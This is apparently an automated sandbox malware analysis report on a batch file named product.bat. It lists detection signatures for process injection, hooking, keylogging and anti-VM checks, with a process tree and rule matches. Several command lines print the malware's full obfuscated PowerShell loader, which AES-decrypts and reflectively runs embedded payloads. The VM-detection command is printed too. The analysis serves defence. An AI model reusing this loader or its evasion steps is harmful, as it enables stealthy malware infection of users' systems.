Edit tour

Windows Analysis Report
product.bat

Overview

General Information

Sample name:	product.bat
Analysis ID:	1574670
MD5:	f3454e2cb275019527e248cb08111111
SHA1:	4180893cca4dce02e0bbeab52b5a099201db5ffb
SHA256:	0999322e8a2a984b5400544b31a91ae8dd49b362a2517fe497a8e1455de07d8f
Tags:	batuser-lontze7
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

.NET source code references suspicious native API functions

AI detected suspicious sample

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Found large BAT file

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs a global keyboard hook

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Powershell drops PE file

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Suspicious command line found

Suspicious powershell command line found

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Uncommon Svchost Parent Process

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 2268 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\product.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7276 cmdline: wmic diskdrive get Model MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

findstr.exe (PID: 7304 cmdline: findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 7428 cmdline: cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$zVdEq);'.Replace('*', ''); Invoke-Expression '$xpQRA=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$mCrfz=New-Object S*y*s*t*e*m*.*I*O*.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($fEGds, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[*S*y*s*t*e*m*.*R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$zVdEq);'.Replace('*', ''); Invoke-Expression '$aPGUN=$kTVmP.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); Invoke-Expression '$aPGUN.*I*n*v*o*k*e*($null, $ulmvt);'.Replace('*', '');}$SQOtV = 'C:\Users\user\Desktop\product.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] ('')); MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 7436 cmdline: powershell.exe -WindowStyle Hidden MD5: 04029E121A0CFA5991749937DD22A1D9)

dllhost.exe (PID: 7680 cmdline: C:\Windows\System32\dllhost.exe /Processid:{372c9116-8a11-4207-941c-c83db9f8d8a2} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

winlogon.exe (PID: 556 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

dllhost.exe (PID: 1660 cmdline: C:\Windows\System32\dllhost.exe /Processid:{29a28251-c10b-42e7-8393-a6c218333ff2} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

svchost.exe (PID: 1752 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1760 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1804 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

lsass.exe (PID: 632 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 2524 cmdline: C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 912 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 976 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 356 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 704 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 932 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1044 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1064 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1080 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1188 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1212 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1344 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1376 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1388 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1400 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1436 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1520 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1636 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1668 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 7764 cmdline: "C:\Windows\System32\cmd.exe" /C type C:\Users\user\Desktop\product.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7896 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7972 cmdline: wmic diskdrive get Model MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

findstr.exe (PID: 7988 cmdline: findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 8156 cmdline: cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$zVdEq);'.Replace('*', ''); Invoke-Expression '$xpQRA=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$mCrfz=New-Object S*y*s*t*e*m*.*I*O*.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($fEGds, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[*S*y*s*t*e*m*.*R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$zVdEq);'.Replace('*', ''); Invoke-Expression '$aPGUN=$kTVmP.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); Invoke-Expression '$aPGUN.*I*n*v*o*k*e*($null, $ulmvt);'.Replace('*', '');}$SQOtV = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] ('')); MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 8164 cmdline: powershell.exe -WindowStyle Hidden MD5: 04029E121A0CFA5991749937DD22A1D9)

schtasks.exe (PID: 1624 cmdline: "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 8164	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x58d1:$b2: ::FromBase64String( 0x1ece07:$b2: ::FromBase64String( 0xa2242e:$b2: ::FromBase64String( 0xa2248c:$b2: ::FromBase64String( 0xa92ba4:$b2: ::FromBase64String( 0x9e314f:$s1: -join 0x9e432d:$s1: -join 0xa1c6a1:$s1: -join 0xa13f5e:$s3: Reverse 0xa1ec0f:$s3: Reverse 0x9dee08:$s4: += 0x9dee27:$s4: += 0x9dee62:$s4: += 0x9dee7f:$s4: += 0x9deeba:$s4: += 0x9def26:$s4: += 0x9defb2:$s4: += 0x9df0c0:$s4: += 0x9e0d3a:$s4: += 0x9e0d5d:$s4: += 0x9e45dc:$s4: +=

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$zVdEq);'.Replace('*', ''); Invoke-Expression '$xpQRA=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$mCrfz=New-Object S*y*s*t*e*m*.*I*O*.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($fEGds, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[*S*y*s*t*e*m*.*R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$zVdEq);'.Replace('*', ''); Invoke-Expression '$aPGUN=$kTVmP.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); Invoke-Expression '$aPGUN.*I*n*v*o*k*e*($null, $ulmvt);'.Replace('*', '');}$SQOtV = 'C:\Users\user\Desktop\product.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] ('')); , CommandLine: cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$zVdEq);'.Replace('*', ''); Invoke-Expression '$xpQRA=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$mCrfz=New-Object S*y

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F, CommandLine: "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F, CommandLine|base64offset|contains: 7z, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: powershell.exe -WindowStyle Hidden, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8164, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F, ProcessId: 1624, ProcessName: schtasks.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8164, TargetFilename: C:\Windows\$nya-onimai2\IhrFKM.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\System32\dllhost.exe /Processid:{372c9116-8a11-4207-941c-c83db9f8d8a2}, ParentImage: C:\Windows\System32\dllhost.exe, ParentProcessId: 7680, ParentProcessName: dllhost.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 912, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden, CommandLine: powershell.exe -WindowStyle Hidden, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\product.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2268, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden, ProcessId: 7436, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.1% probability

Machine Learning detection for dropped file

Source: C:\Windows\$nya-onimai2\IhrFKM.exe

Joe Sandbox ML: detected

Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000020.00000000.1531285281.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.3343115348.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdbog source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831le.js source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000020.00000002.3343830318.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531330977.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000020.00000002.3343830318.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531330977.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb* source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000020.00000002.3343830318.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531330977.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000020.00000000.1531285281.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.3343115348.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000020.00000002.3343830318.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531330977.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D1EDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_000001CA7D1EDA18
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D1ED894 FindFirstFileExW,	15_2_000001CA7D1ED894
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D21DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_000001CA7D21DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D21D894 FindFirstFileExW,	15_2_000001CA7D21D894
